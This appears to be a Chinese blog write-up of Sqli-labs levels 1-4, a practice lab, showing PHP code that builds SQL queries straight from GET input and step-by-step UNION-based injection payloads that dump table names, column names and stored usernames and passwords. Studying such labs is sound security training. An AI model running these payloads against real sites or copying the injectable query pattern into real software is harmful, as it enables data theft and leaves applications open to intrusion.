前言

之前暑假闯了很多关但是最近刷BUGku的题 遇到SQL注入题就凉。。。 垃圾的我只能继续硬着头皮重新再来学习,再来闯。

第一关:字符型注入

字符型注入就是注入点的数据类型是字符型。字符型注入与数字型注入的区别就是字符型注入要用一对双引号引起来。
字符型注入代码示例:

1 <?php
2 $id=$_GET['id'];
3 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
4 $result=mysql_query($sql)
5 $row=mysql_fetch_array($result)
6 ?>

payload:

 1 判断注入
2 ' and 1=1 %23
3 判断字段
4 ' order by 3 %23
5 判断位置
6 id=-2' union select 1,2,3%23
7 爆版本及数据库名
8 id=-2' union select 1,version(),database()%23
9 爆当前数据库下表名
10 id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
11 爆字段
12 id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
13 爆字段下的数据
14 id=-2' union select 1,group_concat(username,password),2 from users %23

第二关:数字型注入

数字型注入就是注入点的数据类型是数字型,没有用单引号引起来。数字型注入的示例代码:

1 <?php
2 $id=$_GET['id'];
3 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
4 $result=mysql_query($sql)
5 $row=mysql_fetch_array($result)
6 ?>

payload:

 1 判断注入(经过判断是数值型的很好注入 )
2 id=1 and 1=1
3 id=1 and 1=2
4 判断字段数量
5 id=1 order by 3
6 判断字段位置(这里需要改id=0或其他导致错误页面 才能显示位置)
7 id=0 union select 1,2,3
8 爆出数据库版本及当前数据库名称
9 id=0 union select 1,version(),database()
10 爆出当前数据库表
11 id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
12 爆出表忠的字段
13 id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
14 爆出字中的数据
15 id=0 union select 1,group_concat(username,password),3 from users;

第三关:基于错误的GET单引号变形字符型注入

核心代码:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

payload:

 1 id=2'报错分析出此sql语句有括号(
2 判断注入
3 id=2') and 1=1 %23 (根据报错信息看到 sql在)里面所以)
4 id=2') and 1=2 %23
5 判断注入我们发现 报错爆出 我们id后面的语句在括号里面所以我们要闭合括号进行判断 另外它是字符类型注入 所以我们要用注释 注释掉最后面的单引号
6 id=2') and 1=1 --+
7 id=2') and 1=2 --+
8 判断字段数量
9 id=2') order by 3 %23
10 判断字段位置
11 id=0') union select 1,2,3 %23
12 爆数据库表
13 id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
14 爆数据库表下的字段
15 id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
16 爆字段下的数据
17 id=0') union select 1,group_concat(username,password),3 from users --+

第四关:(基于错误的GET双引号字符型注入)

核心代码:

1 $id = '"' . $id . '"';
2 $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

payload:

 1 id=2" 双引号报错
2
3 id=2") and 1=1 --+
4 id=2") and 1=2 --+
5 id=2") order by 3 --+
6 id=-2") union select 1,2,3 --+
7 id=-2") union select 1,database(),version() --+
8 id=-2") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
9 id=-2") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
10 id=-2") union select 1,group_concat(username),group_concat(password) from users --+

重闯Sqli-labs关卡第一天(1-4关)的更多相关文章

  1. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  2. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  3. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  4. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  5. 重闯Sqli-labs关卡第二天(5关)

    第五关(双注入GET单引号字符型注入-报错时间注入) 盲注盲注,Blind SQL Injection基于布尔SQL盲注基于时间的SQL盲注基于报错的SQL盲注 核心代码:(不会返回数据库中的数据) ...

  6. 重闯Sqli-labs关卡第三天(11-15关)

    前言 今天早上学了学网易云课堂的注入课程突然感觉网易云可i春秋联合出品的课程还不错,之后就刷了刷攻防世界的题,题有眉目但是还是忍不住看了WP 服了自己了!!!一直刷到了晚上也不知道几点我妈买了柚子回了 ...

  7. 重闯Sqli-labs关卡第三天(6-10关)

    第六关(双注入GET双引号字符型注) 核心代码: 1 $id = '"'.$id.'"'; 2 $sql="SELECT * FROM users WHERE id=$i ...

  8. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  9. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

随机推荐

  1. ES5新增数组的方法

    ES5新增数组的方法 ES5新增数组常见方法(indexOf/forEach/map/filter/some/every) .indexOf( data , start)  检测数组中是否存在指定数据 ...

  2. WSL2 + Docker + IDEA 开发到发布一步到位

    摘要:本文主要介绍了如何用WSL2.Docker.IDEA将Java应用从开发到发布一步到位. 上次介绍了如何在Windows(WSL2) Linux子系统中搭建搭建Docker环境,这次将利用上次搭 ...

  3. bash xshell 特性

    1.tab键补全 2.命令行常用快捷键: ctrl键+ c    #取消当前操作 ctrl键+ d    #退出当前用户登录 ctrl键+ a    #光标移动到光标所在行的行首 ctrl键+ e  ...

  4. 手把手教你搭建SVN服务

    参考一下地址 https://blog.csdn.net/marstonyjiang/article/details/52033916

  5. Redis---03Redis事务

    一.Redis事务 1.简述: Redis事务是一个单独的隔离操作:事务中的所有命令都会序列化.按顺序地执行.事务在执行的过程中,不会被其他客户端发送来的命令请求所打断 2.作用: 主要作用就是串联多 ...

  6. LuoguP3602 Koishi Loves Segments

    题面 n个区间和数轴上的m个关键点 (0<=n,m<=4*1e5,数轴范围 \(-1^7\) ~ \(1^7\))每个关键点有被区间区间覆盖的次数上限,求最多能放多少个区间到数轴上 传送门 ...

  7. mysql 两主一从环境搭建(5.7.24)

    搭建说明 两主一从,从本质上说,只不过是机器 master-a 和 master-b 互为主从机(热备),然后通过 keepalived 进行高可用配置,使得在同一时间内只会有一台对外提供服务,实现单 ...

  8. Docker(2)- Centos 7.x 下安装 Docker

    如果你还想从头学起 Docker,可以看看这个系列的文章哦! https://www.cnblogs.com/poloyy/category/1870863.html 前言 虚拟机安装 centos ...

  9. DM的SQL优化入门笔记

    1.查看执行计划EXPLAIN SELECT A.C1+1,B.D2 FROM T1 A, T2 B WHERE A.C1 = B.D1; 2.执行计划: 1 #NSET2: [0, 16, 9] 2 ...

  10. 服务网格istio概念应知应会

    一.背景 最近架构组基于istio开发了服务网格(Service Mesh)平台,借此机会把相关的背景知识做一次学习和记录,方便回头查看. 初版的效果: 二.istio 官方手册:https://is ...